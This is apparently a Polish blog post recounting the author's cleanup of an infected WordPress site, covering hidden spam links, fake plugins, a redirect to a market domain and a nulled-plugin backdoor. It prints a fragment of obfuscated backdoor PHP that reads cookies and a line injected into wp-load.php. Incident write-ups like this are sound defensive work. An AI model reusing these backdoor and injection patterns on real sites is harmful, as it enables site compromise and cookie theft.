Pomoc przy 404 skończyła się wyczyszczeniem strony ze spamowych linków

Napisał do mnie znajomy o pomoc w namierzeniu dlaczego każda podstrona zwraca błąd 404 mimo iż powinny istnieć, a że wszystko stoi na WordPress, to sprawa prosta do rozwiązania – wystarczy odświeżyć permalinki: Ustawienia -> Bezpośrednie odnośniki -> Zapisz. Jeśli to by nie pomogło wtedy zaczynałbym debugowanie i szukał przyczyny.
Jak namierzyłem spamowe linki w źródle strony
Z ciekawości postanowiłem zajrzeć do źródła strony i od razu moją uwagę przykuł link do niemieckiej „apteki”, oferującej „legale steroide für Bodybuilder und Sportler„. To, co jeszcze bardziej wzbudziło moje podejrzenia, to fakt, że link był ukryty w takim fragmencie kodu:
<div style="width: 0pt; overflow: auto; position: absolute; height: 0pt;">To ewidentnie nie wyglądało normalnie, więc zacząłem szukać dalej. Ku mojemu zdziwieniu, naliczyłem aż 10 linków prowadzących do stron z testosteronem, kasynami, sterydami, bukmacherami, a nawet pożyczkami online jako polski akcent! Brakowało tylko linków do sklepów z niebieską tabletką 😉 Oczywiście od razu powiadomiłem znajomego o tej sytuacji, a ten mnie skontaktował z właścicielem strony. W taki sposób zacząłem usuwać malware.
Namierzanie infekcji
Zacząłem namierzanie zainfekowanych plików oraz tych, które nie powinny istnieć. Jak zawsze w takich przypadkach jest tego sporo. W głównym folderze strony znajdował się plik wp-configform.php, który miał do złudzenia przypominać plik konfiguracyjny wordpress, czyli wp-config.php
Część złośliwego kodu z wp-configform.php:
<? php $d="gett".chr(121)."pe"; $t="g".chr(101)."tenv"; $u="ur".chr(108)."decode"; $no="e".chr(120)."pl".chr(111)."de"; $va="count";if(isset($_SERVER["DOM".chr(65)."IN".chr(95)."PATH"]))$_SERVER["D".chr(79).chr(67)."UMENT_RO".chr(79)."T"]=$_SERVER["DO".chr(77)."AIN".chr(95).chr(80)."ATH"];$o=$t("H".chr(84).chr(84)."P_COOKIE"); W głównym folderze był też plik o nazwie googlea5d18e1817640be2bck.php, który jak mniemam miał również do złudzenia wyglądać jak plik weryfikacyjny GSC. O dziwo znajduje się właśnie plik html do weryfikacji googlea5d18e1817640be2.html, a ostatnia modyfikacja tych plików to 19 luty 2019 roku!

Czyżby przez 5,5 roku nikt nie zwrócił uwagi?! Obydwa pliki php odpowiadają za tą samą infekcję ale pełnią różne role. Pierwszy wykonuje operacje na danych pobranych z ciasteczek. Sprawdza, czy liczba elementów w tablicy wynosi 30 i czy pewien ciąg znaków znajduje się w tablicy. Jeśli tak, wykonuje pewne operacje na elementach tablicy i wywołuje funkcję. Drugi skrypt wykonuje kod PHP zapisany w zmiennej $captions. Skrypt korzysta z bilbioteki SimplePie, która jest frameworkiem do obsługi kanałów RSS i Atom w PHP. Dalej…
Plik wp-load.php, który jest częścią jądra WP i odpowiada za inicjalizację środowiska WordPress. Jego głównym zadaniem jest załadowanie wszystkich niezbędnych plików i konfiguracji, które są potrzebne do prawidłowego działania systemu. Do pliku została dołączona jedna linijka, a w oryginale nie powinno być include 'wp-admin/post-functions.php';
/** Define ABSPATH as this file's directory */
include 'wp-admin/post-functions.php';
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', DIR . '/' );
} Ta linia bezpośrednio odpowiada za włączenie i wykonanie kodu znajdującego się w pliku post-functions.php -ostatnio zmodyfikowany 6 maja 2024, a audyt i czyszczenie wykonywałem 02.08.2024.
Sprawdzając ten plik trafiłem na skrypt, który służy do przekierowania użytkowników pod adres krak345en564361.com gdzie znajduje się rosyjska captcha. Zresztą trafiłem też na nienaturalny łańcuch przekierowań

Skrypt do przekierowania bazował na refererze (http referer).
- Jeśli referer się zgadza (google lub yandex), to pobiera user-agenta przeglądarki i sprawdza czy użytkownik jest botem.
- Jeśli użytkownik nie jest, to przekierowuje go do „kraken market”.
W głównym folderze znalazłem jeszcze plik o nazwie silas_menus.min.php, który umożliwiał przesyłanie obrazów na serwer w celu wykorzystania luki RCE (Remote code execution), czyli zdalne wykonanie kodu. Prawdopodobnie atakujący wysłał potencjalnie nie groźny obrazek, w którym został zakodowany kod PHP do skompromitowanego serwera. Ta praktyka nazywa się steganografią i pisałem o tym jak John Mueller ukrył robots.txt w pliku audio.
W /wp-content/plugins/ znalazłem też folder „yoast-seo-link” i nie pasowała mi nazwa, ponieważ Yoast ma nazwę folderu „wordpress-seo”. Sprawdziłem folder, a w nim aż jeden plik php z wagą 3 kB i super opisem
<?php
/*
Plugin Name: Yoast SEO links
Description: Yoast SEO Premium ensures that your site meets the highest technical SEO standards. It also gives you the tools to optimize your content for SEO and overall readability.
Version: 23.42
Author: Team Yoast
*/Ta wtyczka, która „spełnia najwyższa standardy techniczne SEO”, w swoim kodzie zawierała ukryte pole input przy pomocy CSS display:none;, które znajdowało się na stronie logowania /wp-admin/. Pole prawdopodobnie służyło do wklejania wykradzionych ciasteczek, więc wracamy na poczatek aż do pliku wp-configform.php.
Jednak to nie wszystko, bo moją uwagę zwróciła też dziwna nazwa wtyczki „WordFence Cor1s”. WordFence to wtyczka do bezpieczeństwa strony. Na próżno było szukać strony ustawień tej wtyczki, bo była całkowicie ukryta. Sprawdziłem kod wtyczki w celu znalezienia nazwy strony ustawień i po wpisaniu w pasek adresu /wp-admin/options-general.php?page=wordfence-core moim oczom ukazała się strona z dumną nazwą „Wordfence Core FOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOTER„. Prosta wtyczka, która za zadanie miała wyświetlać w stopce strony link widoczny w źródle ale jednocześnie niewidoczny dla odwiedzających.

Prawdopodobny scenariusz infekcji i ataku
Jest wiele możliwości ataku zaczynając od podatnych wtyczek, starej wersji WordPress, czy motywu –
wszystkie miały przestarzałą wersję jednak poniższy scenariusz wydaje mi się najbardziej
prawdopodobny.
- Instalacja wtyczki nulled – WP Rocket – z wgranym backdoor’em, która umożliwiła
atakującemu upload pliku silas_menus.min.php albo automatyczne ściagnięcie tego pliku do
głównego folderu. - Przy pomocy silas_menus.min.php atakujący wgrał na serwer obrazek z zakodowanym
kodem PHP, a po całej akcji obraz został usunięty żeby ukryć atak. Prawdopodobnie
stworzył pliki wp-configform.php, post-functions.php i zmodyfikował wp-load.php oraz
wgrał wtyczkę „Yoast SEO links”, która dodawała ukryte pole do wklejenia wykradzionych
ciasteczek. - Po tym jak ktoś się zalogował na stronę z uprawnieniami admina, to cookies zostały
wykradzione. Następnie atakujący zalogował się tymi samymi ciasteczkami i wgrał jeszcze
jedną wtyczkę WordFence Cor1s z ukrytą stroną ustawień. Na której, na samym dole strony,
pod stopką dołączył kod HTML, o którym wcześniej wspominałem. - Będąc zalogowanym zmodyfikował stronę główną dodając linki do swoich stron ze sterydami,
pożyczkami, kasynami, hormonami, testosteronem i bukmacherką w różnych sekcjach buildera Divi.
Wszystkie linki były niewidoczne, można było je podejrzeć dopiero sprawdzając źródło
strony lub modyfikując style. Linki były ukryte lub przesunięte za ekran o ponad 7 tysięcy
pikseli.
Czyszczenie strony
Namierzenie wszystkiego zajęło dłuzej niż czyszczenie. Kroki jakie poczyniłem to:
- Usunięcie fejkowych pluginów
- Usunięcie WP Rocket
Powód: Przestarzała wersja 3.9.0.4 jest z 24 czerwca 2021 roku. Dodatkowo wtyczka to tzw. „nulled”, czyli wtyczka została zmodyfikowana w taki sposób, aby obejść mechanizmy ochrony licencyjnej, co pozwala na jej nieautoryzowane używanie bez płacenia za licencję. Nulledy w 99% przypadków mają dodatkowy kod w postaci backdoora, co umożliwia atakującemu dostanie się na serwer. - Wymusiłem wylogowanie wszystkich kont
- Wymieniłem cały core WordPress
- Zaktualizowałem wtyczki i motyw do najnowszej wersji
Sytuację monitorowałem właściwie jeszcze przez 2 tygodnie od wyczyszczenia strony – nic więcej się nie pojawiło.
